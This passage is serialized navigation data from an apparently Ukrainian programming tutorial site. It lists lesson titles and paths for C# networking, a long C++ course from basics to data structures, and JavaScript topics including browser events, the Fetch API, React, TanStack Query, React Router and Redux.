вебу","\u002Fcsharp\u002Fnetwork-programming\u002Fhttp-fundamentals","01.csharp\u002F13.network-programming\u002F07.http-fundamentals",{"title":1684,"path":1685,"stem":1686},"HttpListener — вбудований HTTP-сервер .NET","\u002Fcsharp\u002Fnetwork-programming\u002F07a.http-listener","01.csharp\u002F13.network-programming\u002F07a.http-listener",{"title":1688,"path":1689,"stem":1690},"HTTP Advanced — cookies, аутентифікація та HTTPS","\u002Fcsharp\u002Fnetwork-programming\u002Fhttp-advanced","01.csharp\u002F13.network-programming\u002F08.http-advanced",{"title":1692,"path":1693,"stem":1694},"SMTP та протоколи електронної пошти","\u002Fcsharp\u002Fnetwork-programming\u002Fsmtp","01.csharp\u002F13.network-programming\u002F09.smtp",{"title":1696,"path":1697,"stem":1698},"WebSocket — повнодуплексний протокол реального часу","\u002Fcsharp\u002Fnetwork-programming\u002Fwebsockets","01.csharp\u002F13.network-programming\u002F10.websockets",{"title":1700,"path":1701,"stem":1702},"TLS\u002FSSL — криптографічний захист мережевих з'єднань","\u002Fcsharp\u002Fnetwork-programming\u002Ftls-ssl","01.csharp\u002F13.network-programming\u002F11.tls-ssl",{"title":1704,"path":1705,"stem":1706},"C# & .NET: The Ultimate Roadmap","\u002Fcsharp\u002Froadmap","01.csharp\u002Froadmap",{"title":1708,"icon":1709,"path":1710,"stem":1711,"children":1712,"page":59},"C++","i-devicon-cplusplus","\u002Fcpp","02.cpp",[1713,1717,1721,1725,1729,1733,1737,1741,1745,1748,1752,1756,1760,1764,1768,1772,1776,1780,1784,1788,1792,1796,1800,1804,1808,1812,1816,1820,1824,1828,1832,1836,1840,1844,1848,1852,1856,1860,1864,1868,1872,1876,1880,1884,1888,1892,1896,1900,1904,1908,1912,1916,1920,1924,1928,1932,1936,1940,1944,1948,1952,1956,1960,1964,1968,1972,1976,1980,1984,1988,1992,1996,2000,2004,2008,2012,2016,2020,2024,2028,2032,2036,2040,2044,2048,2052,2056,2060,2064,2068,2072,2076,2080],{"title":1714,"path":1715,"stem":1716},"Вступ у програмування та алгоритми","\u002Fcpp\u002Fintro-algorithms","02.cpp\u002F01.intro-algorithms",{"title":1718,"path":1719,"stem":1720},"Code Style: угоди про оформлення коду","\u002Fcpp\u002Fcode-style","02.cpp\u002F02.code-style",{"title":1722,"path":1723,"stem":1724},"Середовище розробки та перший проєкт","\u002Fcpp\u002Fide-setup","02.cpp\u002F03.ide-setup",{"title":1726,"path":1727,"stem":1728},"Вивід даних на екран","\u002Fcpp\u002Fdata-output","02.cpp\u002F04.data-output",{"title":1730,"path":1731,"stem":1732},"Типи даних, змінні та константи","\u002Fcpp\u002Fdata-types-variables","02.cpp\u002F05.data-types-variables",{"title":1734,"path":1735,"stem":1736},"Ввід даних з клавіатури","\u002Fcpp\u002Fdata-input","02.cpp\u002F06.data-input",{"title":1738,"path":1739,"stem":1740},"Оператори, перетворення типів та логічні операції","\u002Fcpp\u002Foperators-type-conversion","02.cpp\u002F07.operators-type-conversion",{"title":1742,"path":1743,"stem":1744},"Цикли","\u002Fcpp\u002Floops","02.cpp\u002F08.loops",{"title":32,"path":1746,"stem":1747},"\u002Fcpp\u002Farrays","02.cpp\u002F09.arrays",{"title":1749,"path":1750,"stem":1751},"Алгоритми сортування та аналіз складності","\u002Fcpp\u002Fsorting","02.cpp\u002F10.sorting",{"title":1753,"path":1754,"stem":1755},"Алгоритми пошуку","\u002Fcpp\u002Fsearching","02.cpp\u002F11.searching",{"title":1757,"path":1758,"stem":1759},"Функції: основи","\u002Fcpp\u002Ffunctions-basics","02.cpp\u002F12.functions-basics",{"title":1761,"path":1762,"stem":1763},"Функції: прототипи, область видимості та додаткові можливості","\u002Fcpp\u002Ffunctions-scope","02.cpp\u002F13.functions-scope",{"title":1765,"path":1766,"stem":1767},"Функції: перевантаження та шаблони","\u002Fcpp\u002Ffunctions-overloading-templates","02.cpp\u002F14.functions-overloading-templates",{"title":1769,"path":1770,"stem":1771},"Вказівники: основи","\u002Fcpp\u002Fpointers-basics","02.cpp\u002F15.pointers-basics",{"title":1773,"path":1774,"stem":1775},"Посилання (References)","\u002Fcpp\u002Freferences","02.cpp\u002F16.references",{"title":1777,"path":1778,"stem":1779},"Вказівники, const і масиви","\u002Fcpp\u002Fpointers-const-arrays","02.cpp\u002F17.pointers-const-arrays",{"title":1781,"path":1782,"stem":1783},"Адресна арифметика","\u002Fcpp\u002Fpointer-arithmetic","02.cpp\u002F18.pointer-arithmetic",{"title":1785,"path":1786,"stem":1787},"Динамічна пам'ять","\u002Fcpp\u002Fdynamic-memory","02.cpp\u002F19.dynamic-memory",{"title":1789,"path":1790,"stem":1791},"Вказівники типу void","\u002Fcpp\u002Fvoid-pointers","02.cpp\u002F20.void-pointers",{"title":1793,"path":1794,"stem":1795},"Вказівники на вказівники","\u002Fcpp\u002Fpointers-to-pointers","02.cpp\u002F21.pointers-to-pointers",{"title":1797,"path":1798,"stem":1799},"Оператор доступу до членів через вказівник (->)","\u002Fcpp\u002Fmember-access-operator","02.cpp\u002F22.member-access-operator",{"title":1801,"path":1802,"stem":1803},"Цикл for-each (Range-based for)","\u002Fcpp\u002Fforeach-loop","02.cpp\u002F23.foreach-loop",{"title":1805,"path":1806,"stem":1807},"Вказівники на функції","\u002Fcpp\u002Ffunction-pointers","02.cpp\u002F24.function-pointers",{"title":1809,"path":1810,"stem":1811},"Лямбда-вирази","\u002Fcpp\u002Flambdas","02.cpp\u002F25.lambdas",{"title":1813,"path":1814,"stem":1815},"Лямбда-захоплення","\u002Fcpp\u002Flambda-captures","02.cpp\u002F26.lambda-captures",{"title":1817,"path":1818,"stem":1819},"Еліпсис","\u002Fcpp\u002Fellipsis","02.cpp\u002F27.ellipsis",{"title":1821,"path":1822,"stem":1823},"Безпечні альтернативи еліпсису","\u002Fcpp\u002F27a.ellipsis","02.cpp\u002F27a.ellipsis",{"title":1825,"path":1826,"stem":1827},"Аргументи командного рядка","\u002Fcpp\u002Fcommand-line-arguments","02.cpp\u002F28.command-line-arguments",{"title":1829,"path":1830,"stem":1831},"Перерахування (enum)","\u002Fcpp\u002Fenum","02.cpp\u002F29.enum",{"title":1833,"path":1834,"stem":1835},"Класи-перерахування (enum class)","\u002Fcpp\u002Fenum-class","02.cpp\u002F30.enum-class",{"title":1837,"path":1838,"stem":1839},"Псевдоніми типів (typedef і using)","\u002Fcpp\u002Ftype-aliases","02.cpp\u002F31.type-aliases",{"title":1841,"path":1842,"stem":1843},"Системи числення та двійкова арифметика","\u002Fcpp\u002Fnumber-systems","02.cpp\u002F32.number-systems",{"title":1845,"path":1846,"stem":1847},"Структури (struct): агрегування даних","\u002Fcpp\u002Fstruct","02.cpp\u002F33.struct",{"title":1849,"path":1850,"stem":1851},"Структури у функціях","\u002Fcpp\u002Fstruct-functions","02.cpp\u002F34.struct-functions",{"title":1853,"path":1854,"stem":1855},"Масиви структур і вкладені структури","\u002Fcpp\u002Fstruct-arrays","02.cpp\u002F35.struct-arrays",{"title":1857,"path":1858,"stem":1859},"Патерни struct та межі застосування","\u002Fcpp\u002Fstruct-patterns","02.cpp\u002F36.struct-patterns",{"title":1861,"path":1862,"stem":1863},"Символи та таблиця ASCII","\u002Fcpp\u002Fascii-characters","02.cpp\u002F37.ascii-characters",{"title":1865,"path":1866,"stem":1867},"Unicode та кодування UTF","\u002Fcpp\u002Funicode-utf","02.cpp\u002F38.unicode-utf",{"title":1869,"path":1870,"stem":1871},"C-style рядки","\u002Fcpp\u002Fc-strings","02.cpp\u002F39.c-strings",{"title":1873,"path":1874,"stem":1875},"Вступ до std::string","\u002Fcpp\u002Fstd-string-intro","02.cpp\u002F40.std-string-intro",{"title":1877,"path":1878,"stem":1879},"Довжина, ємність та доступ до символів std::string","\u002Fcpp\u002Fstd-string-capacity-access","02.cpp\u002F41.std-string-capacity-access",{"title":1881,"path":1882,"stem":1883},"Модифікація std::string: присвоювання, додавання, вставка, видалення та заміна","\u002Fcpp\u002Fstd-string-modification","02.cpp\u002F42.std-string-modification",{"title":1885,"path":1886,"stem":1887},"Пошук у std::string: find, npos та практичні патерни","\u002Fcpp\u002Fstd-string-search","02.cpp\u002F43.std-string-search",{"title":1889,"path":1890,"stem":1891},"std::string_view: невласницький погляд на рядок без копіювання","\u002Fcpp\u002Fstd-string-view","02.cpp\u002F44.std-string-view",{"title":1893,"path":1894,"stem":1895},"Об'єднання (union): один блок пам'яті, кілька інтерпретацій","\u002Fcpp\u002Funion","02.cpp\u002F45.union",{"title":1897,"path":1898,"stem":1899},"Організація коду: файли, препроцесор, простори імен","\u002Fcpp\u002Fmultifile-programs","02.cpp\u002F46.multifile-programs",{"title":1901,"path":1902,"stem":1903},"Робота з файлами: C-стиль (stdio.h)","\u002Fcpp\u002Fc-style-files","02.cpp\u002F47.c-style-files",{"title":1905,"path":1906,"stem":1907},"Робота з файлами: C++-стиль (fstream)","\u002Fcpp\u002Fcpp-style-files","02.cpp\u002F48.cpp-style-files",{"title":1909,"path":1910,"stem":1911},"Введення в ООП: від процедур до об'єктів","\u002Fcpp\u002Foop-intro","02.cpp\u002F49.oop-intro",{"title":1913,"path":1914,"stem":1915},"Класи, об'єкти та методи","\u002Fcpp\u002Fclasses-objects-methods","02.cpp\u002F50.classes-objects-methods",{"title":1917,"path":1918,"stem":1919},"Специфікатори доступу та інкапсуляція","\u002Fcpp\u002Faccess-specifiers-encapsulation","02.cpp\u002F51.access-specifiers-encapsulation",{"title":1921,"path":1922,"stem":1923},"Конструктори: гарантована ініціалізація об'єктів","\u002Fcpp\u002Fconstructors","02.cpp\u002F52.constructors",{"title":1925,"path":1926,"stem":1927},"Списки ініціалізації та делегуючі конструктори","\u002Fcpp\u002Finit-lists-delegating","02.cpp\u002F53.init-lists-delegating",{"title":1929,"path":1930,"stem":1931},"Деструктори та ідіома RAII","\u002Fcpp\u002Fdestructors-raii","02.cpp\u002F54.destructors-raii",{"title":1933,"path":1934,"stem":1935},"Прихований покажчик this","\u002Fcpp\u002Fthis-pointer","02.cpp\u002F55.this-pointer",{"title":1937,"path":1938,"stem":1939},"Розподіл класу на заголовковий файл та файл реалізації","\u002Fcpp\u002Fclass-header-source","02.cpp\u002F56.class-header-source",{"title":1941,"path":1942,"stem":1943},"Класи та const","\u002Fcpp\u002Fconst-classes","02.cpp\u002F57.const-classes",{"title":1945,"path":1946,"stem":1947},"Статичні члени класу","\u002Fcpp\u002Fstatic-members","02.cpp\u002F58.static-members",{"title":1949,"path":1950,"stem":1951},"Конструктор копіювання та запобігання копіюванню","\u002Fcpp\u002Fcopy-constructor","02.cpp\u002F59.copy-constructor",{"title":1953,"path":1954,"stem":1955},"Дружні функції та класи","\u002Fcpp\u002Ffriend-functions-classes","02.cpp\u002F60.friend-functions-classes",{"title":1957,"path":1958,"stem":1959},"Анонімні об'єкти та вкладені типи","\u002Fcpp\u002Fanonymous-objects-nested-types","02.cpp\u002F61.anonymous-objects-nested-types",{"title":1961,"path":1962,"stem":1963},"Вимірювання часу виконання: RAII-таймер","\u002Fcpp\u002Ftiming-raii-timer","02.cpp\u002F62.timing-raii-timer",{"title":1965,"path":1966,"stem":1967},"Перевантаження операторів: основи та арифметика","\u002Fcpp\u002Foperator-overloading-basics","02.cpp\u002F63.operator-overloading-basics",{"title":1969,"path":1970,"stem":1971},"Перевантаження операторів: методи класу та спеціальні оператори","\u002Fcpp\u002Foperator-overloading-methods","02.cpp\u002F64.operator-overloading-methods",{"title":1973,"path":1974,"stem":1975},"Приведення типів, explicit та delete","\u002Fcpp\u002Ftypecast-explicit-delete","02.cpp\u002F65.typecast-explicit-delete",{"title":1977,"path":1978,"stem":1979},"Глибоке копіювання та оператор присвоювання","\u002Fcpp\u002Fdeep-copy-assignment","02.cpp\u002F66.deep-copy-assignment",{"title":1981,"path":1982,"stem":1983},"Зв'язки між об'єктами: композиція та агрегація","\u002Fcpp\u002Fcomposition-aggregation","02.cpp\u002F67.composition-aggregation",{"title":1985,"path":1986,"stem":1987},"Асоціація та залежність між об","\u002Fcpp\u002Fassociation-dependency","02.cpp\u002F68.association-dependency",{"title":1989,"path":1990,"stem":1991},"Контейнерні класи та `std::initializer_list`","\u002Fcpp\u002Fcontainer-classes-initializer-list","02.cpp\u002F69.container-classes-initializer-list",{"title":1993,"path":1994,"stem":1995},"Вступ до наслідування: базові поняття та відношення «is-a»","\u002Fcpp\u002Finheritance-intro","02.cpp\u002F70.inheritance-intro",{"title":1997,"path":1998,"stem":1999},"Конструктори, деструктори та порядок ініціалізації в ієрархіях","\u002Fcpp\u002Finheritance-constructors-destructors","02.cpp\u002F71.inheritance-constructors-destructors",{"title":2001,"path":2002,"stem":2003},"Специфікатор `protected` та види наслідування","\u002Fcpp\u002Finheritance-access-specifiers","02.cpp\u002F72.inheritance-access-specifiers",{"title":2005,"path":2006,"stem":2007},"Перевизначення методів та приховування імен","\u002Fcpp\u002Fmethod-overriding-hiding","02.cpp\u002F73.method-overriding-hiding",{"title":2009,"path":2010,"stem":2011},"Множинне наслідування та проблема ромба","\u002Fcpp\u002Fmultiple-inheritance-diamond","02.cpp\u002F74.multiple-inheritance-diamond",{"title":2013,"path":2014,"stem":2015},"Вказівники на базовий клас та віртуальні функції","\u002Fcpp\u002Fvirtual-functions-polymorphism","02.cpp\u002F75.virtual-functions-polymorphism",{"title":2017,"path":2018,"stem":2019},"Специфікатори override, final та віртуальні деструктори","\u002Fcpp\u002Foverride-final-virtual-destructors","02.cpp\u002F76.override-final-virtual-destructors",{"title":2021,"path":2022,"stem":2023},"Внутрішні механізми поліморфізму: vtable, vptr та зв'язування","\u002Fcpp\u002Fvirtual-table-binding","02.cpp\u002F77.virtual-table-binding",{"title":2025,"path":2026,"stem":2027},"Абстрактні класи та чисті віртуальні функції","\u002Fcpp\u002Fabstract-classes-interfaces","02.cpp\u002F78.abstract-classes-interfaces",{"title":2029,"path":2030,"stem":2031},"Зрізка об'єктів, віртуальне наслідування та поліморфний вивід","\u002Fcpp\u002Fslicing-virtual-base-io","02.cpp\u002F79.slicing-virtual-base-io",{"title":2033,"path":2034,"stem":2035},"Динамічне приведення типів (`dynamic_cast`) та RTTI","\u002Fcpp\u002Fdynamic-cast-rtti","02.cpp\u002F80.dynamic-cast-rtti",{"title":2037,"path":2038,"stem":2039},"Шаблони функцій: узагальнене програмування","\u002Fcpp\u002Ffunction-templates","02.cpp\u002F81.function-templates",{"title":2041,"path":2042,"stem":2043},"Шаблони класів та NTTP-параметри","\u002Fcpp\u002Fclass-templates-nttp","02.cpp\u002F82.class-templates-nttp",{"title":2045,"path":2046,"stem":2047},"Повна (явна) спеціалізація шаблонів","\u002Fcpp\u002Ffull-template-specialization","02.cpp\u002F83.full-template-specialization",{"title":2049,"path":2050,"stem":2051},"Часткова спеціалізація шаблонів класів","\u002Fcpp\u002Fpartial-template-specialization","02.cpp\u002F84.partial-template-specialization",{"title":2053,"path":2054,"stem":2055},"Механізм винятків: try, catch, throw та розкручування стеку","\u002Fcpp\u002Fexceptions-basics","02.cpp\u002F85.exceptions-basics",{"title":2057,"path":2058,"stem":2059},"Ієрархія std::exception та власні класи винятків","\u002Fcpp\u002Fexception-hierarchy-custom","02.cpp\u002F86.exception-hierarchy-custom",{"title":2061,"path":2062,"stem":2063},"Повторне генерування винятків та функціональний try-блок","\u002Fcpp\u002Frethrow-function-try","02.cpp\u002F87.rethrow-function-try",{"title":2065,"path":2066,"stem":2067},"Безпека винятків, noexcept та деструктори","\u002Fcpp\u002Fsafety-noexcept","02.cpp\u002F88.safety-noexcept",{"title":2069,"path":2070,"stem":2071},"Стаття 89 — Власні структури даних: стек та черга","\u002Fcpp\u002Fcustom-stack-queue","02.cpp\u002F89.custom-stack-queue",{"title":2073,"path":2074,"stem":2075},"Стаття 90 — Власні структури даних: однозв'язаний список","\u002Fcpp\u002Flinked-list","02.cpp\u002F90.linked-list",{"title":2077,"path":2078,"stem":2079},"Стаття 91 — Власні структури даних: бінарне дерево пошуку","\u002Fcpp\u002Fbinary-search-tree","02.cpp\u002F91.binary-search-tree",{"title":2081,"path":2082,"stem":2083},"Стаття 92 — Власні структури даних: хеш-таблиця","\u002Fcpp\u002Fhash-table","02.cpp\u002F92.hash-table",{"title":2085,"icon":2086,"path":2087,"stem":2088,"children":2089,"page":59},"JavaScript","i-devicon-javascript","\u002Fjavascript","03.javascript",[2090,2116,2170,2192,2496,2534,2552],{"title":2091,"icon":2092,"path":2093,"stem":2094,"children":2095,"page":59},"Events","i-lucide-mouse-pointer-click","\u002Fjavascript\u002Fevents","03.javascript\u002F01.events",[2096,2100,2104,2108,2112],{"title":2097,"path":2098,"stem":2099},"Вступ до подій браузера","\u002Fjavascript\u002Fevents\u002Fintro","03.javascript\u002F01.events\u002F01.intro",{"title":2101,"path":2102,"stem":2103},"Бульбашковий механізм (Bubbling) та занурення (Capturing)","\u002Fjavascript\u002Fevents\u002Fbubbling-capturing","03.javascript\u002F01.events\u002F02.bubbling-capturing",{"title":2105,"path":2106,"stem":2107},"Делегування подій (Event Delegation)","\u002Fjavascript\u002Fevents\u002Fdelegate-events","03.javascript\u002F01.events\u002F03.delegate-events",{"title":2109,"path":2110,"stem":2111},"Типові дії браузера та preventDefault()","\u002Fjavascript\u002Fevents\u002Fprevent-default","03.javascript\u002F01.events\u002F04.prevent-default",{"title":2113,"path":2114,"stem":2115},"Запуск користувацьких подій (Custom Events)","\u002Fjavascript\u002Fevents\u002Fcustom-events","03.javascript\u002F01.events\u002F05.custom-events",{"title":2117,"icon":2118,"path":2119,"stem":2120,"children":2121,"page":59},"Network","i-lucide-globe","\u002Fjavascript\u002Fnetwork","03.javascript\u002F02.network",[2122,2126,2130,2134,2138,2142,2146,2150,2154,2158,2162,2166],{"title":2123,"path":2124,"stem":2125},"Fetch API - Сучасний підхід до HTTP-запитів","\u002Fjavascript\u002Fnetwork\u002F01-fetch-api","03.javascript\u002F02.network\u002F01-fetch-api",{"title":2127,"path":2128,"stem":2129},"FormData - Робота з формами та файлами","\u002Fjavascript\u002Fnetwork\u002F02-formdata","03.javascript\u002F02.network\u002F02-formdata",{"title":2131,"path":2132,"stem":2133},"Відстеження прогресу завантаження","\u002Fjavascript\u002Fnetwork\u002F03-download-progress","03.javascript\u002F02.network\u002F03-download-progress",{"title":2135,"path":2136,"stem":2137},"Переривання fetch-запитів","\u002Fjavascript\u002Fnetwork\u002F04-abort-requests","03.javascript\u002F02.network\u002F04-abort-requests",{"title":2139,"path":2140,"stem":2141},"CORS - Запити між різними джерелами","\u002Fjavascript\u002Fnetwork\u002F05-cors","03.javascript\u002F02.network\u002F05-cors",{"title":2143,"path":2144,"stem":2145},"Fetch API - Повний довідник опцій","\u002Fjavascript\u002Fnetwork\u002F06-fetch-options","03.javascript\u002F02.network\u002F06-fetch-options",{"title":2147,"path":2148,"stem":2149},"URL Objects - Робота з посиланнями","\u002Fjavascript\u002Fnetwork\u002F07-url-objects","03.javascript\u002F02.network\u002F07-url-objects",{"title":2151,"path":2152,"stem":2153},"XMLHttpRequest - AJAX та низькорівневі запити","\u002Fjavascript\u002Fnetwork\u002F08-xmlhttprequest","03.javascript\u002F02.network\u002F08-xmlhttprequest",{"title":2155,"path":2156,"stem":2157},"Відновлюване завантаження файлів","\u002Fjavascript\u002Fnetwork\u002F09-resumable-upload","03.javascript\u002F02.network\u002F09-resumable-upload",{"title":2159,"path":2160,"stem":2161},"Cookies, document.cookie та світ після \"Cookiepocalypse\"","\u002Fjavascript\u002Fnetwork\u002F10-cookies","03.javascript\u002F02.network\u002F10-cookies",{"title":2163,"path":2164,"stem":2165},"js-cookie: Керування Cookies без Болю","\u002Fjavascript\u002Fnetwork\u002F11-js-cookie","03.javascript\u002F02.network\u002F11-js-cookie",{"title":2167,"path":2168,"stem":2169},"Axios: Потужний HTTP-клієнт для JavaScript","\u002Fjavascript\u002Fnetwork\u002F12-axios","03.javascript\u002F02.network\u002F12-axios",{"title":2171,"icon":2172,"path":2173,"stem":2174,"children":2175,"page":59},"Bom","i-lucide-monitor","\u002Fjavascript\u002Fbom","03.javascript\u002F03.bom",[2176,2180,2184,2188],{"title":2177,"path":2178,"stem":2179},"LocalStorage, SessionStorage та patterns збереження даних","\u002Fjavascript\u002Fbom\u002F01-localstorage","03.javascript\u002F03.bom\u002F01-localstorage",{"title":2181,"path":2182,"stem":2183},"Location Object - Керування адресою сторінки","\u002Fjavascript\u002Fbom\u002F02-location-object","03.javascript\u002F03.bom\u002F02-location-object",{"title":2185,"path":2186,"stem":2187},"History API - Керування історією браузера","\u002Fjavascript\u002Fbom\u002F03-history-api","03.javascript\u002F03.bom\u002F03-history-api",{"title":2189,"path":2190,"stem":2191},"Navigator Object - Ідентифікація та Можливості Пристрою","\u002Fjavascript\u002Fbom\u002F04-navigator-object","03.javascript\u002F03.bom\u002F04-navigator-object",{"title":2193,"icon":2194,"path":2195,"stem":2196,"children":2197},"React","i-devicon-react","\u002Fjavascript\u002Freact","03.javascript\u002F04.react\u002Findex",[2198,2199,2203,2207,2211,2215,2278,2313,2465],{"title":2193,"path":2195,"stem":2196},{"title":2200,"path":2201,"stem":2202},"Робота з Формами в React","\u002Fjavascript\u002Freact\u002Freact-forms","03.javascript\u002F04.react\u002F01.react-forms",{"title":2204,"path":2205,"stem":2206},"React Hook Form: Професійна Робота з Формами","\u002Fjavascript\u002Freact\u002Freact-hook-form","03.javascript\u002F04.react\u002F02.react-hook-form",{"title":2208,"path":2209,"stem":2210},"React Hook Form: Глибоке Розуміння Архітектури та Оптимізації","\u002Fjavascript\u002Freact\u002Freact-hook-form-new","03.javascript\u002F04.react\u002F02.react-hook-form-new",{"title":2212,"path":2213,"stem":2214},"Axios та React: Професійна Архітектура Запитів","\u002Fjavascript\u002Freact\u002Fdata-fetching-axios","03.javascript\u002F04.react\u002F03.data-fetching-axios",{"title":2216,"icon":132,"path":2217,"stem":2218,"children":2219},"Tanstack Query","\u002Fjavascript\u002Freact\u002Ftanstack-query","03.javascript\u002F04.react\u002F04.tanstack-query\u002Findex",[2220,2222,2226,2230,2234,2238,2242,2246,2250,2254,2258,2262,2266,2270,2274],{"title":2221,"path":2217,"stem":2218},"TanStack Query: Майстерність Керування Станом Сервера",{"title":2223,"path":2224,"stem":2225},"Парадигма Server State: Чому useEffect недостатньо","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fserver-state-paradigm","03.javascript\u002F04.react\u002F04.tanstack-query\u002F01.server-state-paradigm",{"title":2227,"path":2228,"stem":2229},"Встановлення та Налаштування: Фундамент","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Finstallation-and-devtools","03.javascript\u002F04.react\u002F04.tanstack-query\u002F02.installation-and-devtools",{"title":2231,"path":2232,"stem":2233},"Основи Запитів та Магія Ключів","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fquery-basics-and-keys","03.javascript\u002F04.react\u002F04.tanstack-query\u002F03.query-basics-and-keys",{"title":2235,"path":2236,"stem":2237},"Синхронізація Даних: Життєвий Цикл Запиту","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fdata-synchronization","03.javascript\u002F04.react\u002F04.tanstack-query\u002F04.data-synchronization",{"title":2239,"path":2240,"stem":2241},"Мутації та Інвалідація: Зміна Даних","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fmutations-and-invalidation","03.javascript\u002F04.react\u002F04.tanstack-query\u002F05.mutations-and-invalidation",{"title":2243,"path":2244,"stem":2245},"Оптимістичні Оновлення: Швидше за Світло","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Foptimistic-updates","03.javascript\u002F04.react\u002F04.tanstack-query\u002F06.optimistic-updates",{"title":2247,"path":2248,"stem":2249},"Пагінація та Infinite Scroll","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fpagination-and-load-more","03.javascript\u002F04.react\u002F04.tanstack-query\u002F07.pagination-and-load-more",{"title":2251,"path":2252,"stem":2253},"Просунуті Патерни та Оптимізація","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fadvanced-patterns","03.javascript\u002F04.react\u002F04.tanstack-query\u002F08.advanced-patterns",{"title":2255,"path":2256,"stem":2257},"Архітектура та Best Practices","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Farchitecture-and-best-practices","03.javascript\u002F04.react\u002F04.tanstack-query\u002F09.architecture-and-best-practices",{"title":2259,"path":2260,"stem":2261},"Server-Side Rendering (SSR) та Гідратація","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fserver-side-rendering","03.javascript\u002F04.react\u002F04.tanstack-query\u002F10.server-side-rendering",{"title":2263,"path":2264,"stem":2265},"Стратегії Тестування","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Ftesting-strategies","03.javascript\u002F04.react\u002F04.tanstack-query\u002F11.testing-strategies",{"title":2267,"path":2268,"stem":2269},"Аутентифікація та Обробка Помилок","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fauthentication-and-errors","03.javascript\u002F04.react\u002F04.tanstack-query\u002F12.authentication-and-errors",{"title":2271,"path":2272,"stem":2273},"React Suspense та Майбутнє","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Freact-suspense","03.javascript\u002F04.react\u002F04.tanstack-query\u002F13.react-suspense",{"title":2275,"path":2276,"stem":2277},"Глибоке Занурення в Продуктивність","\u002Fjavascript\u002Freact\u002Ftanstack-query\u002Fperformance-deep-dive","03.javascript\u002F04.react\u002F04.tanstack-query\u002F14.performance-deep-dive",{"title":2279,"icon":2194,"path":2280,"stem":2281,"children":2282},"React Router","\u002Fjavascript\u002Freact\u002Freact-router","03.javascript\u002F04.react\u002F05.react-router\u002Findex",[2283,2285,2289,2293,2297,2301,2305,2309],{"title":2284,"path":2280,"stem":2281},"React Router: Навігаційна система сучасного вебу",{"title":2286,"path":2287,"stem":2288},"Налаштування та Базовий Роутинг","\u002Fjavascript\u002Freact\u002Freact-router\u002Fsetup-and-basic-routing","03.javascript\u002F04.react\u002F05.react-router\u002F01.setup-and-basic-routing",{"title":2290,"path":2291,"stem":2292},"Динамічна Навігація","\u002Fjavascript\u002Freact\u002Freact-router\u002Fnavigation-and-links","03.javascript\u002F04.react\u002F05.react-router\u002F02.navigation-and-links",{"title":2294,"path":2295,"stem":2296},"Вкладені Маршрути та Макети","\u002Fjavascript\u002Freact\u002Freact-router\u002Fnested-routes-and-layouts","03.javascript\u002F04.react\u002F05.react-router\u002F03.nested-routes-and-layouts",{"title":2298,"path":2299,"stem":2300},"Динамічні Маршрути та Параметри","\u002Fjavascript\u002Freact\u002Freact-router\u002Fdynamic-routing","03.javascript\u002F04.react\u002F05.react-router\u002F04.dynamic-routing",{"title":2302,"path":2303,"stem":2304},"Data APIs: Loaders та Actions","\u002Fjavascript\u002Freact\u002Freact-router\u002Fdata-loading","03.javascript\u002F04.react\u002F05.react-router\u002F05.data-loading",{"title":2306,"path":2307,"stem":2308},"Просунуті Патерни","\u002Fjavascript\u002Freact\u002Freact-router\u002Fadvanced-patterns","03.javascript\u002F04.react\u002F05.react-router\u002F06.advanced-patterns",{"title":2310,"path":2311,"stem":2312},"Legacy Routing: Компонентний підхід","\u002Fjavascript\u002Freact\u002Freact-router\u002Flegacy-routing","03.javascript\u002F04.react\u002F05.react-router\u002F07.legacy-routing",{"title":2314,"icon":132,"path":2315,"stem":2316,"children":2317},"Redux","\u002Fjavascript\u002Freact\u002Fredux","03.javascript\u002F04.react\u002F06.redux\u002Findex",[2318,2320,2336,2365,2374,2395,2411,2440],{"title":2319,"path":2315,"stem":2316},"Redux: Еволюція управління станом",{"title":14,"icon":15,"path":2321,"stem":2322,"children":2323,"page":59},"\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals",[2324,2328,2332],{"title":2325,"path":2326,"stem":2327},"Вступ до State Management","\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals\u002Fintro-state-management","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals\u002F01.intro-state-management",{"title":2329,"path":2330,"stem":2331},"Філософія Redux та Три Принципи","\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals\u002Fredux-philosophy","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals\u002F02.redux-philosophy",{"title":2333,"path":2334,"stem":2335},"Чисті функції та Іммутабельність","\u002Fjavascript\u002Freact\u002Fredux\u002Ffundamentals\u002Fpure-functions-immutability","03.javascript\u002F04.react\u002F06.redux\u002F01.fundamentals\u002F03.pure-functions-immutability",{"title":2337,"icon":132,"path":2338,"stem":2339,"children":2340,"page":59},"Classic Redux","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux",[2341,2345,2349,2353,2357,2361],{"title":2342,"path":2343,"stem":2344},"Створення Store (Classic Redux)","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Fstore-setup","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F01.store-setup",{"title":2346,"path":2347,"stem":2348},"Actions, Constants та Action Creators","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Factions-constants","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F02.actions-constants",{"title":2350,"path":2351,"stem":2352},"Логіка Reducers","\u002Fjavascript\u002Freact\u002Fredux\u002Fclassic-redux\u002Freducers","03.javascript\u002F04.react\u002F06.redux\u002F02.classic-redux\u002F03.reducers",{"title":2354,"path":2355,"stem":2356},"Комбінування Reducers (Root 